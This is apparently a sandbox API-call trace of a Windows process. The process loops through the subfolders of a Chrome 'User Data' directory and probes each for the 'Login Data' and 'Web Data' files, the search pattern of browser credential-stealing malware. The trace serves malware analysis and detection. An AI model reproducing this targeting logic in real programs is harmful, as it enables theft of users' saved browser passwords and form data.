	[0102.113] wcslen (_String="EVWhitelist") returned 0xb
	[0102.113] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.113] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.113] wcscat (in: _Dest=0x18bbf4, _Source="EVWhitelist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
	[0102.113] wcscmp (_String1="EVWhitelist", _String2="..") returned 1
	[0102.113] wcscmp (_String1="EVWhitelist", _String2=".") returned 1
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43
	[0102.113] wcslen (_String="Web Data") returned 0x8
	[0102.113] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43
	[0102.113] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\"
	[0102.113] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data"
	[0102.113] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\web data")) returned 0xffffffff
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43
	[0102.113] wcslen (_String="Login Data") returned 0xa
	[0102.113] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 0x43
	[0102.113] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\"
	[0102.113] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data"
	[0102.113] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\login data")) returned 0xffffffff
	[0102.113] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.113] wcslen (_String="FileTypePolicies") returned 0x10
	[0102.113] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.113] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.113] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.114] wcscat (in: _Dest=0x18bbf4, _Source="FileTypePolicies" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
	[0102.114] wcscmp (_String1="FileTypePolicies", _String2="..") returned 1
	[0102.114] wcscmp (_String1="FileTypePolicies", _String2=".") returned 1
	[0102.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48
	[0102.114] wcslen (_String="Web Data") returned 0x8
	[0102.114] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
	[0102.114] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48
	[0102.114] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\"
	[0102.114] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data"
	[0102.114] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\web data")) returned 0xffffffff
	[0102.116] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48
	[0102.116] wcslen (_String="Login Data") returned 0xa
	[0102.116] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
	[0102.116] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 0x48
	[0102.116] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\"
	[0102.116] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data"
	[0102.116] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\login data")) returned 0xffffffff
	[0102.116] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.116] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.116] wcslen (_String="First Run") returned 0x9
	[0102.116] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.116] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.116] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.116] wcscat (in: _Dest=0x18bbf4, _Source="First Run" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\First Run"
	[0102.116] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.116] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.116] wcslen (_String="Local State") returned 0xb
	[0102.117] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.117] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.117] wcscat (in: _Dest=0x18bbf4, _Source="Local State" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
	[0102.117] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.117] wcslen (_String="OriginTrials") returned 0xc
	[0102.117] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.117] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.117] wcscat (in: _Dest=0x18bbf4, _Source="OriginTrials" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
	[0102.117] wcscmp (_String1="OriginTrials", _String2="..") returned 1
	[0102.117] wcscmp (_String1="OriginTrials", _String2=".") returned 1
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44
	[0102.117] wcslen (_String="Web Data") returned 0x8
	[0102.117] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44
	[0102.117] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\"
	[0102.117] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data"
	[0102.117] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\web data")) returned 0xffffffff
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44
	[0102.117] wcslen (_String="Login Data") returned 0xa
	[0102.117] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 0x44
	[0102.117] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\"
	[0102.117] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data"
	[0102.117] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\origintrials\\login data")) returned 0xffffffff
	[0102.117] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.117] wcslen (_String="PepperFlash") returned 0xb
	[0102.117] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.117] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.117] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.117] wcscat (in: _Dest=0x18bbf4, _Source="PepperFlash" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
	[0102.117] wcscmp (_String1="PepperFlash", _String2="..") returned 1
	[0102.117] wcscmp (_String1="PepperFlash", _String2=".") returned 1
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43
	[0102.118] wcslen (_String="Web Data") returned 0x8
	[0102.118] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43
	[0102.118] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\"
	[0102.118] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data"
	[0102.118] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\web data")) returned 0xffffffff
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43
	[0102.118] wcslen (_String="Login Data") returned 0xa
	[0102.118] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 0x43
	[0102.118] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\"
	[0102.118] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data"
	[0102.118] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\login data")) returned 0xffffffff
	[0102.118] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.118] wcslen (_String="pnacl") returned 0x5
	[0102.118] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.118] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.118] wcscat (in: _Dest=0x18bbf4, _Source="pnacl" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
	[0102.118] wcscmp (_String1="pnacl", _String2="..") returned 1
	[0102.118] wcscmp (_String1="pnacl", _String2=".") returned 1
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d
	[0102.118] wcslen (_String="Web Data") returned 0x8
	[0102.118] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
	[0102.118] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d
	[0102.118] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\"
	[0102.118] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data"
	[0102.118] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\web data")) returned 0xffffffff
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d
	[0102.119] wcslen (_String="Login Data") returned 0xa
	[0102.119] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl"
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl") returned 0x3d
	[0102.119] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\"
	[0102.119] wcscat (in: _Dest=0x18b4f0, _Source="Login Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data"
	[0102.119] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\pnacl\\login data")) returned 0xffffffff
	[0102.119] FindNextFileW (in: hFindFile=0x616500, lpFindFileData=0x18b9a4 | out: lpFindFileData=0x18b9a4) returned 1
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.119] wcslen (_String="SSLErrorAssistant") returned 0x11
	[0102.119] wcscpy (in: _Dest=0x18bbf4, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data"
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data") returned 0x37
	[0102.119] wcscat (in: _Dest=0x18bbf4, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\"
	[0102.119] wcscat (in: _Dest=0x18bbf4, _Source="SSLErrorAssistant" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
	[0102.119] wcscmp (_String1="SSLErrorAssistant", _String2="..") returned 1
	[0102.119] wcscmp (_String1="SSLErrorAssistant", _String2=".") returned 1
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49
	[0102.119] wcslen (_String="Web Data") returned 0x8
	[0102.119] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49
	[0102.119] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\"
	[0102.119] wcscat (in: _Dest=0x18b4f0, _Source="Web Data" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data"
	[0102.119] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\web data")) returned 0xffffffff
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49
	[0102.119] wcslen (_String="Login Data") returned 0xa
	[0102.119] wcscpy (in: _Dest=0x18b4f0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant"
	[0102.119] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant") returned 0x49
	[0102.120] wcscat (in: _Dest=0x18b4f0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\"
